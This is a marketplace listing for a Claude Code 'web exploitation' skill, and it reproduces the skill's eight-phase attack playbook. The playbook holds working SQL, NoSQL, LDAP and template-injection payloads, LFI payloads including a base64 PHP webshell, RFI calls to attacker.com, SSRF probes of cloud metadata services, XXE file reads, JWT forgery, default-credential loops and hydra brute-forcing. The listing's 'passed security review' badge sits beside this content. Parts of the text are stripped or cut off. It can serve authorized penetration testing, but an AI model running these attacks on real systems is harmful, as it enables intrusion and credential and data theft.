Install
$ agentstack add skill-douglasrao-claude-pentest-skills-web-exploitation ✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ● Network access Used
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ● Environment & secrets Used
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Verified badge
Passed review? Show it. Paste this badge into your README, it links to the public security report.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
Web Exploitation — Offensive Kill Chain
Architecture
scripts/
├── common_web.sh # Shared functions (logging, has_tool, phase_done, emit_summary)
└── web_exploit.sh # PHASES 1-8: injection, XSS, file attacks, auth, logic, RCE
Each script:
- Accepts
[RECON_OUT]as args RECON_OUTis the output directory from a prior web-recon run (optional but preferred)- Uses checkpoints (
.phase_X.done) to avoid repeating completed phases - Emits a JSON summary via
---EXPLOIT_SUMMARY_JSON---markers for Claude to parse
Initial Setup — Variables and Context
TARGET="https://target.com" # base URL (with scheme)
DOMAIN="target.com" # bare domain
# If web-recon was run previously, point to its output:
RECON_OUT="$(pwd)/target" # adjust to actual path; leave empty if no prior recon
PROJECT=$(echo "$DOMAIN" \
| sed -E 's/\.(com\.br|org\.br|net\.br|gov\.br|com|org|net|io|br|co\.uk|co|uk|fr|de|jp|au|us|ca)$//' \
| sed 's/\./-/g' | tr '[:upper:]' '[:lower:]')
OUT="$(pwd)/${PROJECT}-exploit"
SCRIPTS="$HOME/.claude/skills/web-exploitation/scripts"
mkdir -p "$OUT"/{sqli,xss,lfi,ssrf,xxe,upload,auth,logic,rce,findings}
Create progress tasks with TaskCreate:
"PHASE 1 — Recon Triage (load prior recon or gather baseline)"
"PHASE 2 — Injection Attacks (SQLi, NoSQLi, SSTI, LDAP)"
"PHASE 3 — XSS (Reflected, Stored, DOM)"
"PHASE 4 — File & Path Attacks (LFI, RFI, Upload Bypass)"
"PHASE 5 — Server-Side Attacks (SSRF, XXE, XSLT)"
"PHASE 6 — Authentication & Session Attacks (JWT, OAuth, Broken Auth)"
"PHASE 7 — Logic & Client-Side Attacks (IDOR, CSRF, Race Condition, Deserialization)"
"PHASE 8 — RCE Confirmation & Report"
Mark each task in_progress when starting, completed when done.
Tool Priority
1. CLI — always first
sqlmap — automated SQL injection (use -m for URL list from recon)
dalfox — XSS detection and exploitation
curl — manual requests (always available as fallback)
ffuf — parameter fuzzing, content discovery for exploitation
gf — filter URLs by vulnerability pattern (sqli, xss, lfi, ssrf, redirect)
qsreplace — inject payloads into URL parameters
httpx (Go) — probe response codes, headers for confirmation
nuclei — targeted exploitation templates
jwt_tool — JWT attacks (algorithm confusion, key injection, weak secret)
2. MCPs (when available)
mcp__burp__* — replay/intercept/manipulate requests, confirm vulnerabilities
mcp__postman__* — API endpoint testing (IDOR, auth bypass, rate limiting) — REST/GraphQL only
mcp__hexstrike-ai__* — dalfox_xss_scan, sqlmap_scan, jwt_analyzer, api_fuzzer, burpsuite_scan
mcp__Notion__* — publish confirmed findings
3. curl fallback — when no specialized tool is available
curl -sk -X METHOD "URL" -H "Header: value" -d "body" -o /dev/null -w "%{http_code}|%{size_download}"
4. Never install tools without permission
If a tool is missing, ask the user: "Tool X is not installed. Would you like me to install it, or should I proceed with curl?"
Operational Rules
- Recon first: if
$RECON_OUTexists, load$RECON_OUT/urls/params.txt,gf_sqli.txt,gf_xss.txt, etc. before generating your own target lists - Never run sqlmap on URLs you haven't verified are in scope
- Rate limit: add
--delay 1or-rate 10when testing production or bug bounty targets - WAF awareness: if web-recon detected a WAF, use evasion techniques; note WAF vendor in report
- Burp MCP: when available, always proxy interesting requests through Burp for evidence capture
- Postman MCP: only for targets exposing a documented or discoverable REST/GraphQL API
- Confirmation over automation: prefer confirming one finding well over mass scanning
- No installation without explicit permission — if a tool is missing, fall back to curl or ask
PHASE 1 — Recon Triage
If $RECON_OUT exists and contains prior web-recon output:
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=1
What it does:
- Reads and reports on what recon data is available:
$RECON_OUT/urls/params.txt— parameterized URLs$RECON_OUT/urls/gf_sqli.txt— SQLi candidates$RECON_OUT/urls/gf_xss.txt— XSS candidates$RECON_OUT/urls/gf_ssrf.txt— SSRF candidates$RECON_OUT/urls/gf_redirect.txt— Open redirect candidates$RECON_OUT/js/secrets.json— Exposed secrets/API keys$RECON_OUT/vulns/nuclei.txt— Prior nuclei findings$RECON_OUT/dns/live.txt— Live hosts (for scope)- Outputs a triage summary: counts per category, highest-priority targets
If no recon output exists:
# Minimal baseline: collect parameterized URLs from target
waybackurls "$DOMAIN" 2>/dev/null | grep "=" | uro | head -2000 > "$OUT/params.txt"
# Or with gau:
gau "$DOMAIN" 2>/dev/null | grep "=" | uro | head -2000 >> "$OUT/params.txt"
# Sort with gf patterns
gf sqli "$OUT/params.txt" > "$OUT/sqli/sqli_urls.txt" 2>/dev/null
gf xss "$OUT/params.txt" > "$OUT/xss/xss_urls.txt" 2>/dev/null
gf ssrf "$OUT/params.txt" > "$OUT/ssrf/ssrf_urls.txt" 2>/dev/null
gf lfi "$OUT/params.txt" > "$OUT/lfi/lfi_urls.txt" 2>/dev/null
PHASE 2 — Injection Attacks
2.1 SQL Injection
Source: $RECON_OUT/urls/gf_sqli.txt or $OUT/sqli/sqli_urls.txt
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=2
Priority approach:
# 1. sqlmap on parameter file (preferred — uses prior recon list)
sqlmap -m "$SQLI_URLS" \
--batch --random-agent \
--level 3 --risk 2 \
--threads 5 \
--output-dir "$OUT/sqli/sqlmap" 2>/dev/null
# 2. sqlmap on single URL with parameter
sqlmap -u "https://target.com/page?id=1" --batch --random-agent --dbs
# 3. With Burp request file
sqlmap -r "$OUT/burp_request.txt" --batch --random-agent
Error-based quick check via curl:
curl -sk "https://target.com/page?id=1'" | grep -i "sql\|syntax\|mysql\|error\|ORA-\|pg_query"
NoSQL Injection (MongoDB):
# Test parameter with NoSQL operators
curl -sk -X POST "https://target.com/login" \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}'
curl -sk -X POST "https://target.com/login" \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
LDAP Injection:
# Test login fields
curl -sk -X POST "https://target.com/login" \
-d "username=*)(uid=*))(|(uid=*&password=x"
2.2 SSTI (Server-Side Template Injection)
Detection polyglot — inject into all text parameters:
SSTI_POLYGLOT='${{ → 49;
# Pebble: {{7*7}}; {{ variable.getClass().forName('java.lang.Runtime').getMethod('exec',''.class).invoke(variable.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id') }}
Automated SSTI scan:
# With nuclei:
nuclei -u "$TARGET" -t ~/nuclei-templates/vulnerabilities/generic/ssti.yaml
# With tplmap if available:
python3 tplmap.py -u "https://target.com/page?name=test"
PHASE 3 — XSS
Source: $RECON_OUT/urls/gf_xss.txt or $OUT/xss/xss_urls.txt
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=3
Priority approach:
# 1. dalfox — XSS scanner with blind XSS support
dalfox file "$XSS_URLS" \
--silence --no-color \
--output "$OUT/xss/dalfox_results.txt" 2>/dev/null
# Blind XSS (replace with your callback):
dalfox file "$XSS_URLS" \
--blind "https://your-collaborator.com/xss" \
--output "$OUT/xss/dalfox_blind.txt" 2>/dev/null
# 2. airixss if available:
cat "$XSS_URLS" | airixss -payload "" 2>/dev/null
# 3. Manual curl confirmation
curl -sk "https://target.com/page?q=alert(1)" | grep -i "alert(1)"
WAF bypass payloads (common):
">
javascript:alert(1)
Stored XSS — test all input fields:
# Test with a unique marker and check if reflected in other pages/responses
MARKER="xss$(date +%s)"
curl -sk -X POST "https://target.com/comment" -d "body=$MARKERalert(1)"
curl -sk "https://target.com/comments" | grep "$MARKER"
DOM XSS — look for sinks:
# Check JS files for dangerous sinks
grep -Ei "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|setInterval\(|location\." "$RECON_OUT/js/" -r 2>/dev/null | head -50
PHASE 4 — File & Path Attacks
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=4
4.1 LFI / Path Traversal
Source: $RECON_OUT/urls/gf_lfi.txt or test file-related parameters manually
# Quick LFI check on suspected parameter
LFI_PAYLOADS=(
"../../../etc/passwd"
"....//....//....//etc/passwd"
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
"..%252f..%252f..%252fetc%252fpasswd"
"/etc/passwd%00"
"php://filter/convert.base64-encode/resource=index.php"
"php://input"
"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="
)
for payload in "${LFI_PAYLOADS[@]}"; do
RESP=$(curl -sk "https://target.com/page?file=$payload")
if echo "$RESP" | grep -q "root:"; then
echo "[LFI CONFIRMED] payload: $payload"
echo "$RESP" | head -5
fi
done
LFI to RCE paths:
- PHP session file poisoning:
?file=/var/lib/php/sessions/sess_after poisoning User-Agent - Log poisoning:
?file=/var/log/apache2/access.logafter poisoning User-Agent with `` /proc/self/environpoisoning- PHP wrappers:
php://filter,php://input,data://,expect://
4.2 File Upload Bypass
Test sequence:
1. Upload allowed file type → confirm where it goes
2. Change extension: .php → .php5, .phtml, .php.jpg, .pHp
3. Change Content-Type: image/jpeg with PHP payload
4. Double extension: shell.jpg.php
5. Null byte: shell.php%00.jpg (older PHP)
6. Magic bytes: add GIF89a; at start + PHP payload
7. Polyglot: valid image with embedded PHP
Minimal PHP webshell:
# Test upload with modified content-type
curl -sk -X POST "https://target.com/upload" \
-F "file=@shell.php;type=image/jpeg" \
-F "submit=Upload"
4.3 RFI
# If LFI found — test for RFI (allow_url_include must be On)
curl -sk "https://target.com/page?file=http://attacker.com/shell.php"
curl -sk "https://target.com/page?file=\\\\attacker.com\share\shell.php"
PHASE 5 — Server-Side Attacks
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=5
5.1 SSRF
Source: $RECON_OUT/urls/gf_ssrf.txt or parameters like url=, path=, file=, dest=, redirect=
# Use a collaborator/callback URL (e.g., interactsh, Burp Collaborator, RequestBin)
CALLBACK="http://your-collaborator-url.com"
SSRF_PARAMS=("url" "path" "file" "dest" "redirect" "uri" "src" "source" "target" "host" "proxy")
for param in "${SSRF_PARAMS[@]}"; do
curl -sk "https://target.com/api/fetch?${param}=${CALLBACK}" -o /dev/null
done
# Internal service discovery via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
RESP=$(curl -sk --max-time 3 "https://target.com/api/fetch?url=http://127.0.0.1:$port")
[ -n "$RESP" ] && echo "[SSRF] Port $port responded: ${RESP:0:100}"
done
# Cloud metadata SSRF (AWS)
curl -sk "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
# GCP metadata
curl -sk "https://target.com/api/fetch?url=http://metadata.google.internal/computeMetadata/v1/" \
-H "Metadata-Flavor: Google"
# Azure metadata
curl -sk "https://target.com/api/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"
SSRF bypass techniques:
http://127.0.0.1 → 0.0.0.0, 0x7f000001, 127.1, ::1
http://localhost → http://localtest.me, http://spoofed-dns.attacker.com (resolve to 127.0.0.1)
Redirect: attacker.com/redirect → 127.0.0.1
URL scheme: file:///etc/passwd, dict://, gopher://
5.2 XXE
Detection and exploitation:
]>
&xxe;
%xxe;]>
test
]>
&xxe;
# Test XML endpoint
curl -sk -X POST "https://target.com/api/xml" \
-H "Content-Type: application/xml" \
-d ']>&xxe;' \
| grep -q "root:" && echo "[XXE CONFIRMED]"
PHASE 6 — Authentication & Session Attacks
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=6
6.1 JWT Attacks
# Analyze token structure (if jwt_tool available)
jwt_tool "PASTE_TOKEN_HERE"
# Algorithm confusion (RS256 → HS256)
# Extract public key from /jwks.json or /.well-known/jwks.json
curl -sk "https://target.com/.well-known/jwks.json"
# Common JWT attack paths:
# 1. None algorithm: change "alg":"RS256" → "alg":"none", remove signature
# 2. Weak secret: jwt_tool -C -d rockyou.txt
# 3. RS256 → HS256 confusion: sign with server's public key as HMAC secret
# 4. Kid injection: {"kid": "../../dev/null"} or {"kid": "' UNION SELECT 'secret'--"}
# 5. JWK injection: embed attacker-controlled key in header
# With jwt_tool:
jwt_tool "TOKEN" -X a # None algorithm attack
jwt_tool "TOKEN" -C -d rockyou.txt # Crack weak secret
jwt_tool "TOKEN" -X k -pk public.pem # RS256 → HS256 confusion
6.2 OAuth Attacks
# 1. Open redirect in redirect_uri
# Test: append extra chars, change to attacker domain
https://target.com/oauth/authorize?client_id=X&redirect_uri=https://attacker.com&...
# 2. State parameter missing (CSRF on OAuth flow)
# Remove &state= from authorization request — if accepted, CSRF possible
# 3. Authorization code interception
# Manipulate redirect_uri to attacker-controlled domain (leaks code via Referer)
# 4. Token leakage via Referer header
# Check if access_token appears in URL (implicit flow) → logged in Referer headers
# 5. Scope manipulation
# Modify scope parameter: add "admin", "openid", "profile" etc.
6.3 Broken Authentication
# Default credentials check
CREDS=("admin:admin" "admin:password" "admin:123456" "user:user" "test:test")
for cred in "${CREDS[@]}"; do
USER=$(echo "$cred" | cut -d: -f1)
PASS=$(echo "$cred" | cut -d: -f2)
RESP=$(curl -sk -o /dev/null -w "%{http_code}" -X POST "https://target.com/login" \
-d "username=$USER&password=$PASS")
[ "$RESP" != "401" ] && [ "$RESP" != "403" ] && echo "[AUTH] $cred → HTTP $RESP"
done
# Password reset token entropy test
# Request reset twice, compare tokens for patterns
# Session fixation test
# Note session ID before login, check if same after login
# HTTP Basic Auth brute (small targeted list only — check lockout policy)
if has_tool hydra; then
hydra -l admin -P "$ROCKYOU" "$DOMAIN" http-post-form "/login:username=^USER^&password=^PASS^:Invalid" \
-t 4 -w 3 -o "$OUT/auth/hydra_results.txt" 2>/dev/null
fi
PHASE 7 — Logic & Client-Side Attacks
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=7
7.1 Broken Access Control / IDOR
# Test IDOR on object IDs
# 1. Change numeric IDs: /api/user/1 → /api/user/2
# 2. Change UUID/GUID: swap with known or guessed value
# 3. Test with different user roles (if multiple accounts available)
# 4. Try accessing other users' resources while authenticated
for id in $(seq 1 20); do
RESP=$(curl -sk -w "\n%{http_code}" "https://target.com/api/users/$id" \
-H "Authorization: Bearer $MY_TOKEN")
HTTP_CODE=$(echo "$RESP" | tail -1)
BODY=$(echo "$RESP" | head -1)
[ "$HTTP_CODE" == "200" ] && echo "[IDOR] /api/users/$id → $HTTP_CODE: ${BODY:0:100}"
done
7.2 CSRF
# Check for CSRF token in forms/requests
# If missing or static: CSRF likely
# Generate minimal CSRF PoC (for confirming with Burp or manual test)
cat > "$OUT/logic/csrf_poc.html"
document.forms[0].submit();
EOF
7.3 Race Condition
# Test concurrent requests for logic bypass (e.g., coupon reuse, balance manipulation)
# Send N simultaneous requests:
for i i
…
## Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- **Author:** [DouglasRao](https://github.com/DouglasRao)
- **Source:** [DouglasRao/Claude-Pentest-Skills](https://github.com/DouglasRao/Claude-Pentest-Skills)
- **License:** MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.